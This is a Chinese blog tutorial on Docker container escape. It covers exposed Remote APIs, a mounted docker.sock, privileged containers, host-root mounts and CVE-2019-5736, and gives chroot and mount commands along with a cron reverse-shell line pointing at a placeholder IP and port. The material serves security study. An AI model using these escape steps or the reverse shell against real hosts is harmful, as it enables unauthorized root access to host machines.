• 生命在于学习——docker逃逸


    在这里插入图片描述
    注意:本篇文章仅用于学习记录,不得用于其他用途。

    一、docker逃逸

    docker逃逸就是从当前docker容器权限中逃逸出来,获得宿主机的权限。

    二、常见的逃逸方法

    1、配置不当引起的逃逸

    (1)Docker Remote API未授权访问

    (2)docker.sock挂载到容器内部

    (3)privileged特权模式启动docker

    (4)挂载敏感目录(如:宿主机根目录)

    2、Docker软件设计引起的逃逸(漏洞)

    (1)runC容器逃逸漏洞(CVE-2019-5736)

    (2)Docker cp命令(CVE-2019-14271)

    3、内核漏洞引起的逃逸

    脏牛漏洞,实战遇到的也不多,逃逸的原理是宿主机的内核有脏牛提权漏洞,docker容器又是和宿主机公用一套内核的,所在docker容器内使用脏牛拿的root shell,是内核级别的,即拿到了宿主机的root shell。

    
    ##		4、如何判断是宿主机还是docker容器
    ###		(1)检查根目录下./dockerenv文件是否存在
    ls -la ./dockerenv
    ###		(2)检查/proc/1/cgroup内是否包含"docker"等字符串
    cat /proc/1/cgroup
    ###		(3)其他特征
    容器ip大多是172.17段,而且很多常见的命令缺失。
    #		三、配置不当引起的逃逸
    ##		1、Docker Remote API未授权访问
    ==先看一眼Docker Remote API是否存在未授权,2375端口是否开放。==
    docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可以直接调用API来操作docker。
    
    ```powershell
    列出容器信息,效果与docker ps一致
    curl http://:2375/containers/json
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    环境准备
    在这里插入图片描述
    漏洞原理
    在使用docker swarm的时候,节点上会开放一个TCP端口2375,绑定在0.0.0.0上
    利用思路:通过挂在宿主机的目录,写定时任务获取shell,从而逃逸。
    漏洞利用

    在这里插入图片描述

    2、挂载Docker.sock

    指的是容器在启动的时候,挂载了/var/run/docker.sock,一般很少遇到。
    /var/run/docker.sock是Docker守护程序默认监听的Unix套接字,它也是一个用于从容器内与Docker守护进程通信的工具。
    实验环境准备

    docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04
    
    • 1

    随后在docker容器中安装docker

    # ubuntu 18.04 安装docker
    apt-get update
    # 安装依赖包
    apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
    # 添加 Docker 的官方 GPG 密钥
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
    # 验证您现在是否拥有带有指纹的密钥
    apt-key fingerprint 0EBFCD88
    # 设置稳定版仓库
    add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
    # 更新
    apt-get update
    # 安装最新的Docker-ce
    apt-get install docker-ce
    # 启动
    systemctl enable docker systemctl start docker
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    安装完成后我们使用docker ps就可以看到宿主机上的容器了。
    漏洞利用
    将宿主机的根目录之间挂载到容器中的容器。

    docker run -it -v /:/uzju ubuntu:18.04 /bin/bash
    chroot uzju
    
    • 1
    • 2

    3、Docker特权容器逃逸

    实战中要先看一下是不是特权容器。
    docker中存在一些比较高危的启动命苦,基于容器较大的权限,允许执行一些特权操作,在一定的条件下,可以导致容器逃逸。
    利用原理
    特权容器可以直接在容器内挂载整个宿主机的磁盘,通过计划任务反弹宿主机的shell,进而实现了容器逃逸。
    漏洞复现
    通过特权模式运行一个容器。

    docker run -it --privileged ubuntu:18.04
    
    • 1

    查看当前容器是否是特权容器

    cat /proc/1/status | grep Cap
    如果查询出来的值是00000003ffffffff,那么可以说明当前容器是特权容器。
    
    • 1
    • 2

    在容器内,查看磁盘文件

    fdisk -l
    
    • 1

    可以直接挂载宿主机的磁盘

    mkdir ysz
    mount /dev/sda5 ysz/
    chroot /ysz
    
    • 1
    • 2
    • 3

    查看宿主机的etc/passwd

    cat /etc/passwd
    
    • 1

    写计划任务反弹shell
    在这里插入图片描述

    4、挂载宿主根目录

    环境准备
    docker run -it -v /:/11111/ubuntu:18.04
    漏洞利用
    还是一样可以通过crontab反弹shell
    chroot uzju
    uzju是对应容器的目录。
    crontab -e
    *****/bin/bash -i >& /dev/tcp/ip/port 0>&1

    四、CVE-2019-5736

    需要管理员再次手动进入容器触发。
    漏洞原理
    漏洞点在于runC,runC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来,作为低级别容器运行时,runC主要由高级别容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具,像docker这样高级别容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器,将进程附加到现有容器等。
    ==在Docker18.09.2之前的版本中使用的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc二进制文件,攻击者可以在宿主机上以root身份执行命令。
    影响版本
    docker version <= 18.09.2
    runc version <= 1.0-rc6
    环境搭建
    ubuntu18.04

    sudo su
    apt update
    apt install lrzsz
    apt install curl
    apt install openssh-server
    service sshd status
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述
    漏洞复现
    exp
    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    编译
    set GOARCH=amd64
    set GOOS=linux
    go build main.go
    将编译好的main文件上传至docker容器
    使用wget命令。
    在docker容器中运行文件。
    在这里插入图片描述
    接收反弹的shell,可以发现是宿主机。
    解决方案:
    盛极docker到最新的版本。
    这个方法逃逸后,动静大,容器坏了,进不去也结束不了。

    五、总结

    1、docker remote api未授权访问,使用api创建一个挂在了宿主机根目录的容器,实现逃逸。

    2、如果当前容器挂载了/var/run/docker.sock,可以在容器里面安装docker,拉取镜像,创建容器,然后挂载宿主机的根目录。

    3、如果容器是使用特权创建的,即创建的时候使用了–privileged参数,可以直接挂载宿主的磁盘到容器中,进而实现逃逸。

    4、如果容器挂载了宿主机根目录,直接使用chroot切换到宿主机的shell,进而实现逃逸。

    5、利用存在的漏洞逃逸,如,runC容器逃逸漏洞(CVE-2019-5736),Docker cp命令(CVE-2019-14271)等。

  • 相关阅读:
    在线客服聊天系统源码_美观强大golang内核开发_二进制运行傻瓜式安装_附搭建教程...
    [附源码]Python计算机毕业设计SSM篮球馆预约小程序(程序+LW)
    PFSK165 3BSE027778R1 VP74201-933CW07 允许用户对数据进行读写操作
    Harbor(V2.8+) 登录时报错 net/http: TLS handshake timeout
    【Github】Github创建远程库
    场景应用:SpringSecurity记住我功能实现
    基于对立非洲秃鹫优化算法求解单目标优化问题(OAVOA)含Matlab代码
    常用vim操作
    《ClickHouse原理解析与应用实践》读书笔记(3)
    别再羊了个羊了,大家都在玩刷了个题——LeetCode刷题第3周小结
  • 原文地址:https://blog.csdn.net/qq_15131581/article/details/127831246